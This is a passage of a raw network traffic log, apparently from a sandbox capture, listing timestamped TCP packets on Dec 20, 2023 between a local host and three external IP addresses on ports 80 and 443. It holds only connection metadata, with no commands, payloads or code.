Dec 20, 2023 15:35:03.353996038 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354001999 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.354010105 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354023933 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354059935 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.354419947 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354476929 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.354872942 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354892969 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354939938 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.354947090 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.354969025 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.355005980 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.355420113 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.355467081 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.355509996 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.356268883 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.356384993 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.356429100 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.382062912 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.382272959 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.382286072 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.382298946 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.382330894 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.382365942 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.383647919 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.383793116 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.383842945 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.383857012 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.383913040 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.383959055 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.384442091 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.384455919 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.384495974 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.385550976 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.385634899 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.385690928 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636184931 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636203051 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636220932 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636249065 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636262894 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636261940 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636288881 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636300087 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636311054 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636326075 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636351109 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636368990 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636380911 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636392117 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636405945 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636420012 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636420965 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636435032 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636454105 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636465073 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636483908 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636496067 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636506081 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636518002 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636544943 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636559963 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636563063 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636583090 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636595964 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636609077 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636617899 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636636972 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636661053 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636673927 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636703014 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636717081 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636740923 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636779070 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636898041 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636928082 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636943102 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636964083 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.636984110 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.636996984 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.637022018 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.637036085 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.937963963 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.937980890 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938003063 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938025951 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938029051 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938055992 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938113928 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938127995 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938143015 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938146114 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938153982 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938177109 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938188076 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938191891 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938205957 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938219070 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938246012 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938257933 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938278913 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938291073 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938304901 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938307047 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938343048 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938370943 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938488007 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938515902 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938528061 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938554049 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938636065 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938654900 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938673973 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938674927 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938694000 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938710928 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938728094 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938740969 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938766003 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938781977 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938806057 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938843966 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938844919 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.938858986 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.938894987 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.940303087 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.239485025 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:04.239525080 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:04.239545107 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:04.239586115 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.239655018 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:04.239675999 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.239731073 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.312108994 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.312550068 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:04.556639910 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:04.556735039 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:04.556936979 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:04.613683939 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:04.613746881 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.652857065 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.808190107 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:04.808221102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:04.808234930 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:04.808260918 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:04.808305025 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:04.808348894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:04.941365004 CET	80	49741	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:04.941503048 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:04.945993900 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:05.051605940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.051624060 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.051753044 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.051758051 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.051862001 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.051934958 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.052017927 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.052032948 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.052088022 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.052273989 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.052350044 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.052397013 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.238305092 CET	80	49741	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:05.238325119 CET	80	49741	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:05.238379002 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:05.239778042 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:05.295125008 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295156002 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295173883 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295190096 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295207977 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295213938 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295233011 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295253992 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295269012 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295283079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295290947 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295322895 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295361996 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295382977 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295397997 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295411110 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295423031 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295437098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295456886 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295460939 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295497894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.295548916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295564890 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.295604944 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.532291889 CET	80	49741	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:05.532445908 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:05.542169094 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542306900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542366982 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.542383909 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542774916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542788982 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542843103 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.542849064 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542895079 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.542903900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542921066 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.542968988 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.543018103 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543118000 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543132067 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543162107 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.543207884 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543241024 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543253899 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.543327093 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543378115 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.543405056 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543498039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543546915 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.543735981 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543760061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.543804884 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.543855906 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.552056074 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.552103996 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.552136898 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.554719925 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.554877043 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.554887056 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.554986954 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555011034 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555036068 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.555084944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555130005 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.555159092 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555263042 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555309057 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.555351973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555388927 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555432081 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.555475950 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555565119 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.555608988 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.787518024 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.787596941 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.787729979 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.787771940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.787826061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.787909985 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.787952900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.787991047 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788038015 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.788090944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788163900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788208008 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.788222075 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788265944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788311005 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.788348913 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788516045 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788562059 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.788593054 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788655996 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788698912 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.788754940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788841009 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.788882017 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.788954020 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789072990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789119005 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789150000 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789272070 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789315939 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789343119 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789414883 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789467096 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789521933 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789535999 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789572954 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789586067 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789665937 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789710045 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789753914 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789767027 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789810896 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789824009 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789861917 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.789901972 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.789959908 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.790049076 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.790093899 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.790142059 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.790239096 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.790282011 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.790313005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.790405035 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.790443897 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.793013096 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:05.793035030 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:05.793134928 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:05.796861887 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.796880960 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.796920061 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.796920061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.796996117 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.797038078 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.797909975 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.797977924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798027039 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798036098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798105001 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798118114 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798150063 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798202991 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798259020 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798309088 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798403025 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798445940 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798501015 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798624039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798636913 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798677921 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798697948 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798738956 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798794985 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798894882 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798932076 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.798938036 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.798981905 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799025059 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.799060106 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799154043 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799199104 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.799231052 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799305916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799351931 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.799355984 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799417973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799463034 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:05.799510956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799525023 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:05.799555063 CET	49739	80	192.168.2.4	91.92.253.29
